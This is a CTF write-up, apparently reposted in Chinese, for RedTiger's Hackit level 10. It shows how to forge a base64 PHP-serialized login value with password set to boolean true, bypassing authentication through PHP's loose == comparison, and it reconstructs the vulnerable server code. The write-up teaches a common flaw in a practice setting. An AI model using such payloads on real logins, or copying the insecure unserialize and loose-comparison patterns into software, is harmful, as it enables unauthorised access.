RedTiger‘s Hackit -- level 10
Posted lesion__
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了RedTiger‘s Hackit -- level 10相关的知识,希望对你有一定的参考价值。
题目概述
点进题目之后显示:
Target: Bypass the login. Login as TheMaster
整个页面只有一个按钮,点击之后提示:
Welcome Monkey. You are just a normal user!”
解法
看一看发送报文:
YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9
很明显是base64,解码一下:
a:2:s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";
很明显是php序列化字符串,这题的解法是把username修改为TheMaster,password修改为布尔类型的true:
a:2:s:8:"username";s:9:"TheMaster";s:8:"password";b:1;
网络上能找到的writeup对这么做的解释(我并不认同这种解释,姑且听之)都是说认为代码逻辑是这样的:
$new = unserialize($_GET["login"]);
$username = "'".$new["username"]."'";
$password = "'".$new["password"]."'";
$username = $new["username"];
$password = $new["password"];
$sql = "select username,password from users where username=$username and password=$password";
$result = mysql_query($sql);
if($result)
$row = mysql_fetch_row($result);
echo $row["username"];
else
echo "error";
然后要让$result为true,怎么为true呢?当sql语句的where中有true出现时sql语句会返回true,但是这是没有依据的,手册对mysql_query返回值的描述是:
“
mysql_query() 仅对 SELECT,SHOW,EXPLAIN 或 DESCRIBE 语句返回一个资源标识符,如果查询执行不正确则返回 FALSE。
对于其它类型的 SQL 语句,mysql_query() 在执行成功时返回 TRUE,出错时返回 FALSE。
非 FALSE 的返回值意味着查询是合法的并能够被服务器执行。这并不说明任何有关影响到的或返回的行数。很有可能一条查询执行成功了但并未影响到或并未返回任何行。
”
事实上我理解的这道题目背后的源码应该是这样的:
$new = unserialize($_GET["login"]);
$username = $new["username"];
$password = $new["password"];
$sql = "select username,password from users where username='$username'";
$result = mysql_query($sql);
$row = mysqli_fetch_array($result)
if($row['password'] == $password)
echo $row["username"];
else
echo "error";
这段代码主要的漏洞在于密码的比较是由php来做的,而对于php,true和任何非0、非空字符串的双等号比较的结果均是true:
php > var_dump(true=='abc');
bool(true)
php > var_dump(1=='abc');
bool(false)
php > var_dump(true=='0');
bool(false)
php > var_dump(true=='00');
bool(true)
php > var_dump(true=='0abc');
bool(true)
php > var_dump(true=='');
bool(false)
因此我们将password设置为true之后,同TheMaster的password比较返回true,就可以成功登录了。
以上是关于RedTiger‘s Hackit -- level 10的主要内容,如果未能解决你的问题,请参考以下文章